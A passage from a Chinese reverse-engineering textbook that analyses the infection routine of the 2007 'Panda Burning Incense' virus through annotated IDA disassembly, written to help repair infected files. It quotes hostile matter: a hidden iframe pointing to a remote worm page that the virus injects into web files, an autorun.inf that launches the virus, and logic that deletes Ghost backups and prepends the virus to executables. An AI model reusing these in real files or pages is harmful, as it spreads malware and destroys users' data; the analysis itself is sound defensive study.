15.5 “熊猫烧香”的感染过程分析
要想修复被感染的文件就必须了解病毒的感染过程,以及它都会感染哪些文件。有了这些线索,就可以依次修复那些被感染的程序。“熊猫烧香”病毒是如何感染其他文件,并使其图标也变为小熊猫的呢?这就需要分析代码清单15-2中第二个重要的函数InfectOtherFile,这个函数是“熊猫烧香”病毒的核心部分,函数实现如下:
InfectOtherFile proc near;函数入口
0040CFB4 call sub_40A7EC;创建感染线程,重命名为CreateInfectThread
0040CFB9 call sub_40C5B0;通过时钟写Autorun.inf文件,重命名为SetTimeAut
0040CFBE mo ax,0Ah
0040CFC2 call sub_40BD08;通过网络感染,重命名为NetworkInfect
0040CFC7 retn
InfectOtherFile endp
通过查看InfectOtherFile的实现代码可以发现,此病毒通过3种方式进行感染,前两种是在本地进行病毒的感染,第3种则需要网络的支持。首先我们来分析CreateInfectThread的实现过程,代码实现如下:
CreateInfectThread proc near
0040A7EC push ecx
0040A7ED push esp;lpThreadId
0040A7EE push 0;dwCreationFlags
0040A7F0 push 0;lpParameter
;线程回调函数,病毒感染的实现代码就在此函数中,重命名为StartInfectThread
0040A7F2 push offset sub_40A6C8;lpStartAddress
0040A7F7 push 0;dwStackSize
0040A7F9 push 0;lpThreadAttributes
0040A7FB call CreateThread_0
0040A800 pop edx
0040A801 retn
CreateInfectThread endp
经过层层分析,最终定位到病毒感染线程所在的位置,跟踪到此函数的首地址处,查看其实现代码,分析具体的感染流程,如代码清单15-11所示。
代码清单15-11 病毒感染函数StartInfectThread的分析—IDA分析
StartInfectThread proc near;函数入口
0040A6C8 var_20=dword ptr-20h;局部变量标号定义
0040A6C8 var_1C=dword ptr-1Ch
0040A6C8 var_18=dword ptr-18h
0040A6C8 var_14=dword ptr-14h
0040A6C8 var_10=dword ptr-10h
0040A6C8 var_C=dword ptr-0Ch
0040A6C8 var_8=dword ptr-8
0040A6C8 var_4=dword ptr-4
;部分代码分析略
;存放驱动器名称字符串的首地址
0040A6E5 lea eax,[ebp+var_4];将var_4重命名为strDriverName
;获得驱动器名称,生成类似"ABC"这样的字符串
0040A6E8 call sub_4076B4;重命名为GetDriverNameStr
0040A6ED mov eax,[ebp+strDriverName]
0040A6F0 call GetFileLen;获取驱动器个数
0040A6F5 mov esi, eax
0040A6F7
loc_40A6F7:;地址标号
0040A6F7 mov ebx, esi
0040A6F9 cmp ebx,1
0040A6FC jl short loc_40A6F7;判断驱动器个数是否小于1,若小于1,则跳转
loc_40A6FE:;地址标号,循环遍历驱动器盘符的起始点
0040A6FE lea eax,[ebp+var_C]
0040A701 mov edx,[ebp+strDriverName];获取驱动器名称字符串的首地址
0040A704 mov dl,[edx+ebx-1]
;将字符串转换成字符
0040A708 call sub_403E2C;重命名为StrToChar
0040A70D mov eax,[ebp+var_C]
0040A710 lea edx,[ebp+var_8];保存大写驱动器名称
0040A713 call ToUpper;将字符串转为大写
0040A718 mov eax,[ebp+var_8]
0040A71B push eax
0040A71C lea edx,[ebp+var_10]
0040A71F mov eax, offset aA;"a"
0040A724 call ToUpper;将字符"a"转为大写
0040A729 mov eax,[ebp+var_10]
0040A72C pop edx
0040A72D call FindSignPos;查找字符"A"在字符串中的位置
0040A732 test eax, eax
0040A734 jnz short loc_40A792;递减遍历过的驱动器数目
0040A736 lea eax,[ebp+var_18]
0040A739 mov edx,[ebp+strDriverName]
0040A73C mov dl,[edx+ebx-1]
0040A740 call StrToChar
0040A745 mov eax,[ebp+var_18]
0040A748 lea edx,[ebp+var_14]
0040A74B call ToUpper
0040A750 mov eax,[ebp+var_14]
0040A753 push eax
0040A754 lea edx,[ebp+var_1C]
0040A757 mov eax, offset aB;"b"
0040A75C call ToUpper;将字符"b"转为大写
0040A761 mov eax,[ebp+var_1C]
0040A764 pop edx
0040A765 call FindSignPos
0040A76A test eax, eax
0040A76C jnz short loc_40A792;递减遍历过的驱动器数目
0040A76E lea eax,[ebp+var_20]
0040A771 mov edx,[ebp+strDriverName]
0040A774 mov dl,[edx+ebx-1];获取盘符
0040A778 call StrToChar
0040A77D lea eax,[ebp+var_20]
0040A780 mov edx, offset loc_40A7E8;":\\"
0040A785 call CatStr;向盘符名称追加字符串":\\"
0040A78A mov eax,[ebp+var_20]
;通过查找到的驱动器盘符,遍历盘符中的各种文件并感染它们
0040A78D call sub_4094A4;重命名为FindFileAndInfect
loc_40A792:;地址标号
0040A792 dec ebx;遍历结束后,驱动器数减1
0040A793 test ebx, ebx
0040A795 jnz loc_40A6FE;如果驱动器数不为0,则继续遍历驱动器,并感染其中的文件
0040A79B jmp loc_40A6F7;遍历感染结束
0040A79B StartInfectThread endp
代码清单15-11的主要工作是遍历驱动器盘符的数目,并通过FindFileAndInfect函数进入到驱动器中,遍历所有可感染文件以进行病毒复制。我们跟进到FindFileAndInfect函数中,分析这个函数的工作流程,如代码清单15-12所示。
代码清单15-12 查找文件感染函数FindFileAndInfect的代码片段1—IDA分析
FindFileAndInfect proc near;函数入口
004094A4 var_334=dword ptr-334h
;部分地址标号定义略
004094A4 var_4=dword ptr-4
;部分代码分析略
;驱动器字符串首地址,重命名var_4为strDriverPath
004094EF mov eax,[ebp+var_4]
004094F2 call GetFileLen
004094F7 mov edx,[ebp+strDriverPath]
004094FA cmp byte ptr[edx+eax-1],5Ch;判断strDriverName的结尾是否为"\"
004094FF jz short loc_40950E
00409501 lea eax,[ebp+strDriverPath];如果读到结尾没有'\',则拼接一个"\\"
00409504 mov edx, offset dword_40A378;字符串"\\"
00409509 call CatStr
loc_40950E:;地址标号
0040950E lea eax,[ebp+var_178]
00409514 mov ecx, offset dword_40A384;字符串"*.*"
00409519 mov edx,[ebp+strDriverPath]
;将字符串"*.*"追加到驱动器路径后
0040951C call sub_403F18;重命名为DriverPathCat
00409521 mov eax,[ebp+var_178];保存追加后的字符串名称,如C:\*.*
00409527 lea ecx,[ebp+var_164]
0040952D mov edx,3Fh
;查找文件属性为faArchive|faDirectory|faSysFile|faVolumeID|faReadOnly|faHidden
00409532 call sub_407640;重命名为FindFileProperty
00409537 test eax, eax;查找结果存放在[ebp+var_164]中
00409539 jnz loc_40A2DF;若查找失败,则跳转
loc_40953F:;地址标号,开始查找文件
0040953F mov eax,[ebp+var_15C]
00409545 and eax,10h
00409548 cmp eax,10h;检查是否为faDirectory,即是否为目录
0040954B jnz loc_409DC3;若不是目录,则跳转,并对获取到的文件进行处理
00409551 mov eax,[ebp+var_158];获取到的文件夹名称
00409557 cmp byte ptr[eax],2Eh;比较文件的第一个字符是否为"."
0040955A jz loc_409DC3;若不是目录,则跳转,对获取到的文件进行处理
00409560 lea edx,[ebp+var_17C];排除特殊文件夹,保存排除文件夹的名称
00409566 mov eax, offset aWindows_0;"WINDOWS"
0040956B call ToUpper
00409570 mov eax,[ebp+var_17C];"WINDOWS"大写名称
00409576 push eax
00409577 lea edx,[ebp+var_180];ToUpper函数的out参数,在[tebP+var_180]
处返回文件夹名称的大写形式的指针
0040957D mov eax,[ebp+var_158];ToUpper函数的in参数,传递文件夹名称
00409583 call ToUpper
00409588 mov edx,[ebp+var_180];取出所获取文件夹的名称的大写形式
0040958E pop eax
0040958F call CmpStr;比较是否为特殊过滤文件夹
00409594 jz loc_40A2CC;若不是,则跳转失败,继续排除特殊文件夹
;排除特殊文件夹代码的过程相同,故分析略
代码清单15-12遍历了驱动器下的文件信息,并将文件与文件夹进行了分类,排除了特殊文件夹。在判断是否为特殊文件夹的过程中,都是以大写形式进行对比的,为的是防止因大小写不同而造成错误。当查询到的是文件夹而非特殊文件夹时,病毒程序将要执行破坏性操作,具体分析如代码清单15-13所示。
代码清单15-13 查找文件感染函数FindFileAndInfect的代码片段2—IDA分析
00409A22 push[ebp+strDriverName];到此排除以上特殊文件夹
00409A25 push[ebp+var_158]
00409A2B push offset aDesktop__ini_0;"\\Desktop_.ini"
00409A30 lea eax,[ebp+var_224]
00409A36 mov edx,3
00409A3B call CatStrStr;将字符串"\\Desktop_.ini"追加到当前目录
00409A40 mov eax,[ebp+var_224];追加后的全路径
00409A46 call sub_4057A4;检查路径下是否存在"Desktop_.ini"
00409A4B test al, al
00409A4D jz loc_409C67;若文件存在,则跳转失败
00409A53 push[ebp+strDriverName]
00409A56 push[ebp+var_158];文件夹名称
00409A5C push offset aDesktop__ini_0;"\\Desktop_.ini"
00409A61 lea eax,[ebp+var_228]
00409A67 mov edx,3
00409A6C call CatStrStr;追加字符串,组合全路径
00409A71 mov eax,[ebp+var_228]
00409A77 lea edx,[ebp+var_8];保存获取信息的首地址
;获取"Desktop_.ini"文件中保存的时间信息
00409A7A call sub_407760;重命名为GetIniInfo
00409A7F lea eax,[ebp+SystemTime]
00409A85 push eax;lpSystemTime,保存当前系统时间
00409A86 call GetLocalTime;获取当前系统时间
00409A8B lea edx,[ebp+var_22C];保存格式化时间字符串的首地址
00409A91 movzx eax,[ebp+SystemTime.wYear]
;这是字符串格式化函数,先获取时间,然后将年份数据格式化到字符串中
00409A98 call sub_40587C;重命名为StrFormat
00409A9D push[ebp+var_22C]
00409AA3 push offset asc_40A598;"-"
00409AA8 lea edx,[ebp+var_230]
00409AAE movzx eax,[ebp+SystemTime.wMonth]
00409AB5 call StrFormat
00409ABA push[ebp+var_230]
00409AC0 push offset asc_40A598;"-"
00409AC5 lea edx,[ebp+var_234]
00409ACB movzx eax,[ebp+SystemTime.wDay]
00409AD2 call StrFormat
00409AD7 push[ebp+var_234]
00409ADD lea eax,[ebp+var_C]
00409AE0 mov edx,5
00409AE5 call CatStrStr;将转换后的时间字符串进行拼接,如2012-12-21
00409AEA mov eax,[ebp+var_8];保存从配置文件中获取的信息
00409AED mov edx,[ebp+var_C];保存组合后的时间字符串
00409AF0 call CmpStr;比较两者是否相同
00409AF5 jnz short loc_409B49;若相同,则跳转失败
00409AF7 push[ebp+strDriverName];压入驱动器名称
00409AFA push[ebp+var_158];压入文件夹名称
00409B00 push offset asc_40A5A4;"感染过,跳过!"
00409B05 lea eax,[ebp+var_238];保存拼接字符串的首地址
00409B0B mov edx,3
00409B10 call CatStrStr;组合字符串,如"C:\IDA\感染过,跳过!"
00409B15 mov eax,[ebp+var_238]
00409B1B mov edx, offset aCTest_txt;"c:\\test.txt"
;通过此函数,打开"c:\\test.txt",并写入感染信息,如"C:\IDA\感染过,跳过!"
00409B20 call sub_4050F0;重命名为OpenFileAndWrite
00409B25 lea eax,[ebp+var_23C];保存拼接后的路径首地址
00409B2B mov ecx,[ebp+var_158];文件夹名称
00409B31 mov edx,[ebp+strDriverName];驱动器名称
00409B34 call DriverPathCat;驱动器路径拼接
00409B39 mov eax,[ebp+var_23C]
;继续查找目录,写入ini以及更新ini文件的感染时间
00409B3F call sub_408944;同样也过滤了代码清单15-12中的特殊文件夹
00409B44 jmp loc_40A2CC
代码清单15-13执行了感染前的检查工作,此段代码将会在驱动器“C”盘下生成一份记录文件“test.txt”。文件被感染后,将会修改目录中的“Desktop_.ini”文件,并写入感染时间。若文件已经被感染,则会将流程跳转到地址标号loc_409B49处。地址标号loc_409B49处的代码的功能与代码清单15-13类似,只设置了“Desktop_.ini”的文件属性,将其修改为READONLY、HIDDEN、SYSTEM。
一个文件遍历结束后,则会回到代码清单15-12中地址标号loc_40953F处,重新遍历文件,重复之前分析过的操作。对文件的操作分析到此结束了,这里并没有感染文件。查看代码清单15-12中地址0x0040955A处,当查找到的目标是文件属性时,则会跳转到地址标号loc_409DC3处,这里就是对文件的感染操作了,具体分析如代码清单15-14所示。
代码清单15-14 查找文件感染函数FindFileAndInfect的代码片段3—IDA分析
loc_409DC3:;地址标号
00409DC3 mov eax,[ebp+var_158]
00409DC9 cmp byte ptr[eax],2Eh
00409DCC jz loc_40A2C5
00409DD2 lea edx,[ebp+var_27C]
00409DD8 mov eax,[ebp+var_158]
;获得指定文件名的后缀名
00409DDE call sub_405458;重命名为GetSuffixName
00409DE3 mov eax,[ebp+var_27C]
00409DE9 lea edx,[ebp+var_278]
;格式化后缀名,如果后缀名是小写,则转换成大写
00409DEF call sub_405700;重命名为FormatSuffixName
00409DF4 mov eax,[ebp+var_278]
00409DFA mov edx, offset aGho;"GHO"
00409DFF call CmpStr;字符串比较函数
00409E04 jnz short loc_409E2B;如果后缀名为"GHO",则跳转失败
00409E06 lea eax,[ebp+var_280]
00409E0C mov ecx,[ebp+var_158]
00409E12 mov edx,[ebp+var_4]
00409E15 call DriverPathCat;路径拼接
00409E1A mov eax,[ebp+var_280]
00409E20 call CheckStr
00409E25 push eax;lpFileName
00409E26 call DeleteFileA;删除ghost备份文件,使用户无法还原
代码清单15-14对文件进行检查,只要后缀名为“GHO”,就会判定其为ghost文件,直接删除,防止用户还原系统。
一旦删除了系统的备份文件,病毒就开始肆意感染了。感染文件类型有两种:exe、scr、pif、com和tm、html、asp、php、jsp、aspx。这两类后缀名的文件有两种不同的感染处理方式。我们跟踪到地址标号loc_409E2B处继续分析,具体过程如代码清单15-15所示。
代码清单15-15 查找文件感染函数FindFileAndInfect的代码片段4—IDA分析
;部分代码的分析略,exe、scr、pif、com文件的感染方式
00409EC9 lea edx,[ebp+var_29C]
00409ECF mov eax,[ebp+var_158]
00409ED5 call GetSuffxName;提取文件后缀名
00409EDA mov eax,[ebp+var_29C]
00409EE0 lea edx,[ebp+var_298]
00409EE6 call ToUpper;小写转大写
00409EEB mov eax,[ebp+var_298]
00409EF1 push eax
00409EF2 lea edx,[ebp+var_2A0]
00409EF8 mov eax, offset aExe;"EXE"
00409EFD call ToUpper;小写转大写
00409F02 mov edx,[ebp+var_2A0]
00409F08 pop eax
00409F09 call CmpStr;字符串比较函数
00409F0E jnz short loc_409F2F;检查后缀名是否为"EXE"
00409F10 lea eax,[ebp+var_2A4]
00409F16 mov ecx,[ebp+var_158]
00409F1C mov edx,[ebp+var_4]
00409F1F call DriverPathCat;路径拼接
00409F24 mov eax,[ebp+var_2A4]
;病毒感染函数,重命名sub_40800C↑InfectFile
00409F2A call sub_40800C
;部分代码的分析略,tm、html、asp、php、jsp、aspx文件的感染方式
loc_40A061:;地址标号
0040A061 lea edx,[ebp+var_2DC]
0040A067 mov eax,[ebp+var_158]
0040A06D call GetSuffxName;提取文件的后缀名
0040A072 mov eax,[ebp+var_2DC]
0040A078 lea edx,[ebp+var_2D8]
0040A07E call ToUpper;小写转大写
0040A083 mov eax,[ebp+var_2D8]
0040A089 push eax
0040A08A lea edx,[ebp+var_2E0]
0040A090 mov eax, offset aHtm;"htm"
0040A095 call ToUpper
;小写转大写
0040A09A mov edx,[ebp+var_2E0]
0040A0A0 pop eax
0040A0A1 call CmpStr;字符串比较函数
0040A0A6 jnz short loc_40A0C7;检查后缀名是否为"HTML"
0040A0A8 lea eax,[ebp+var_2E4]
0040A0AE mov ecx,[ebp+var_158]
0040A0B4 mov edx,[ebp+var_4]
0040A0B7 call DriverPathCat;拼接路径
0040A0BC mov eax,[ebp+var_2E4]
0040A0C2 call sub_407ADC;网页感染函数,重命名为InfectWeb
代码清单15-15对感染文件进行了分类处理。病毒感染文件的过程由InfectFile和InfectWeb来完成,两种类型文件分别通过这两个函数来感染。首先分析InfectFile的感染过程,具体过程如代码清单15-16所示。
代码清单15-16 InfectFile代码分析—IDA分析
InfectFile proc near;函数入口
0040800C var_1F4=dword ptr-1F4h
;局部变量标号定义略
0040800C var_4=dword ptr-4
;局部变量初始化略
00408074 mov ecx,[ebp+var_4]
00408077 mov edx, offset aK;"开始感染:"
0040807C call DriverPathCat;追加路径名称
00408081 mov eax,[ebp+var_1E0]
00408087 mov edx, offset aCTest_txt_0;"c:\\test.txt"
;记录感染的文件路径及文件名
0040808C call OpenFileAndWrite;打开文件并写入数据
00408091 lea edx,[ebp+var_1E4]
00408097 mov eax,[ebp+var_4]
0040809A call sub_405644;获得文件名,重命名为GetFileName
0040809F mov eax,[ebp+var_1E4]
;检查将要被感染的文件是否正在运行
004080A5 call sub_4078C4;重命名为OpenFileAndCheckRun
004080AA test al, al
004080AC jz short loc_4080BB
004080AE xor eax, eax;文件运行则放弃感染
;部分代码的分析略
;结束此次感染,重命名loc_40824F为INFECCT_FILE_END
004080B6 jmp loc_40824F
loc_4080BB:;地址标号
004080BB call sub_4027DC
004080C0 lea edx,[ebp+var_1E8]
004080C6 xor eax, eax
004080C8 call GetPath;获取病毒程序所在的路径
004080CD mov edx,[ebp+var_1E8];获取路径字符串的首地址
004080D3 mov eax,[ebp+var_4]
004080D6 call CmpStr;字符串比较函数
;判断感染程序与病毒程序是否在同一路径下,如果在同一路径下,则退出感染
004080DB jnz short loc_4080EA
;部分代码分析略
004080E5 jmp INFECCT_FILE_END;跳转到感染结束地址
loc_4080EA:;地址标号
004080EA lea eax,[ebp+var_8]
004080ED call sub_403C44;设置感染标记
004080F2 lea edx,[ebp+var_8]
004080F5 mov eax,[ebp+var_4]
004080F8 call FileToMem;读取将要被感染的文件的内容并写入到内存中
004080FD cmp[ebp+var_8],0
00408101 jnz short loc_408110判断读取内容是否成功,如果读取失败,则退出感染
;部分代码分析略
0040810B jmp INFECCT_FILE_END
loc_408110:;地址标号
00408110 mov edx,[ebp+var_8]
00408113 mov eax, offset aWhboy;"WhBoy"
00408118 call FindSignPos;检查文件中是否有"WhBoy"信息
0040811D test eax, eax
0040811F jle short loc_40812E;如果找到,则退出感染
;部分代码分析略
00408129 jmp INFECCT_FILE_END
loc_40812E:;地址标号
;部分代码分析略
0040814A push 0;apt
0040814C push ebx;hdc
0040814D lea edx,[ebp+var_1EC]
00408153 xor eax, eax
00408155 call GetPath;获取病毒程序所在的路径
0040815A mov eax,[ebp+var_1EC]
00408160 call CheckStr
00408165 push eax;lpExistingFileName
;复制当前运行的病毒主体文件并覆盖将要被感染的文件
00408166 call CopyFileA
0040816B test eax, eax
0040816D jnz short loc_40817C;若复制成功,则继续感染,否则就退出感染
;部分代码分析略
00408177 jmp INFECCT_FILE_END
loc_40817C:;地址标号
0040817C push offset aWhboy_1;"WhBoy"
00408181 lea edx,[ebp+var_1F0]
00408187 mov eax,[ebp+var_4]
0040818A call GetFileName;获得文件名
0040818F push[ebp+var_1F0]
00408195 push offset a_exe;".exe"
0040819A push offset dword_4082E8;整型数字2
0040819F mov eax,[ebp+var_8]
004081A2 call CheckFile
004081A7 lea edx,[ebp+var_1F4]
004081AD call StrFormat;格式化数字
004081B2 push[ebp+var_1F4]
004081B8 push offset dword_4082F4;整型数字1
004081BD lea eax,[ebp+var_10]
004081C0 mov edx,6
;字符串组合函数,如图15-6所示的字符串组合
004081C5 call StrCatFormat
004081CA lea eax,[ebp+var_C]
004081CD mov edx,[ebp+var_8]
004081D0 call sub_403CDC
004081D5 mov edx,[ebp+var_4]
004081D8 lea eax,[ebp+var_1DC]
004081DE call sub_402AD8;关联文件,重命名为Assign
004081E3 mov eax, ds:off_40E2BC
004081E8 mov byte ptr[eax],2
004081EB lea eax,[ebp+var_1DC]
004081F1 call sub_402874;以附加方式打开文件,重命名为Append
004081F6 call_IOTest
004081FB mov edx,[ebp+var_C]
004081FE lea eax,[ebp+var_1DC]
00408204 call WirteFileInfo;以附加方式写入要被感染的文件内容
;部分代码分析略,如代码清单15-9所示
0040821C call WirteFileInfo;以附加方式写入感染标记信息
;部分代码分析略,如代码清单15-9所示
00408243 jmp short INFECCT_FILE_END;感染结束
;其余代码分析略
代码清单15-16分析了“熊猫烧香”病毒是如何感染exe、scr、pif、com等文件的。首先,它将目标文件读取到内存中,并获取文件名及其大小;其次,将自身文件复制到目标文件前,并追加目标程序的原始文件;最后,加入标记,这样就完成了病毒的感染过程。
对Web类型的文件进行感染的过程比较简单,只需将字符串“<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>”写入符合感染要求的文件尾部即可。这里不再单独分析,读者可自己动手练习。
分析了线程中的病毒感染过程之后,我们对另一个感染过程—定时器进行分析。定时器中会创建Autorun.inf文件并进行感染。代码清单15-17对函数SetTimeAut进行了分析。
代码清单15-17 函数SetTimeAut的分析—IDA分析
SetTimeAut proc near;函数入口
0040C5B0 push offset TimerFunc;时钟回调函数
0040C5B5 push 1770h;uElapse
0040C5BA push 0;nIDEvent
0040C5BC push 0;hWnd
0040C5BE call SetTimer
0040C5C3 mov ds:dword_40E2AC, eax
0040C5C8 retn
SetTimeAut endp
代码清单15-17设置了定时器,并在回调函数TimerFunc中生成autorun.inf和setup.exe文件。这部分代码的原理与磁盘病毒的感染原理相同,遍历每个可用的磁盘,在磁盘的根目录下将病毒文件本身复制一份,并在根目录下创建一个autorun.inf文件,其内容如下:
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
到此,病毒的感染部分就分析完了。由于该病毒采取了免杀的保护措施,可停止或删除杀毒软件的功能,无法被当时的杀毒软件查杀,因此在2007年大范围肆虐,如今的杀毒软件已经可以将其删除。关于病毒是如何自我保护的,本书将不作分析。在调试分析病毒程序时,切记要在虚拟机下调试,且不要安装杀毒软件,否则病毒将会被移除,无法进行调试分析。